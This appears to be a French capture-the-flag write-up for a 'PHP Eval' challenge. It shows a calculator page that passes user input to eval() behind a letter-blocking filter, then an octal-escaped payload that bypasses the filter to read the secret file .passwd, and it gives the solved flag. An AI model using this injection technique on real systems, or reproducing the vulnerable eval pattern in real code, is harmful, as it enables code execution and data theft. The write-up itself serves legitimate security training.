Aller au contenu

PHP Eval

Lien du CTF


Solution

Code source :

    <html>
    <head>
    </head>
    <body>

    <h4> PHP Calc </h4>

    <form action='index.php' method='post'>
        <input type='text' id='input' name='input' />
        <input type='submit' />
    <?php

    if (isset($_POST['input'])) {
        if(!preg_match('/[a-zA-Z`]/', $_POST['input'])){
            print '<fieldset><legend>Result</legend>';
            eval('print '.$_POST['input'].";");
            print '</fieldset>';
        }
        else
            echo "<p>Dangerous code detected</p>";
    }
    ?>
    </form>
    </body>
    </html>
  1. Élément de listeConversion des caractères en ASCII (sauf parenthèses et guillements) :

    system('cat .passwd')
    
    163 171 163 164 145 155 50 47 143 141 164 40 56 160 141 163 163 167 144 47 51
    
    https://onlinestringtools.com/convert-string-to-octal

  2. Élément de listeAjout de \ pour séprarer les caractères :

    "\146\151\154\145\137\147\145\164\137\143\157\156\164\145\156\164\163"("\056\160\141\163\163\167\144")
    

  3. Envoie de la commande dans le formulaire php:

    Result
    M!xIng_PHP_w1th_3v4l_L0L 
    

Flag : M!xIng_PHP_w1th_3v4l_L0L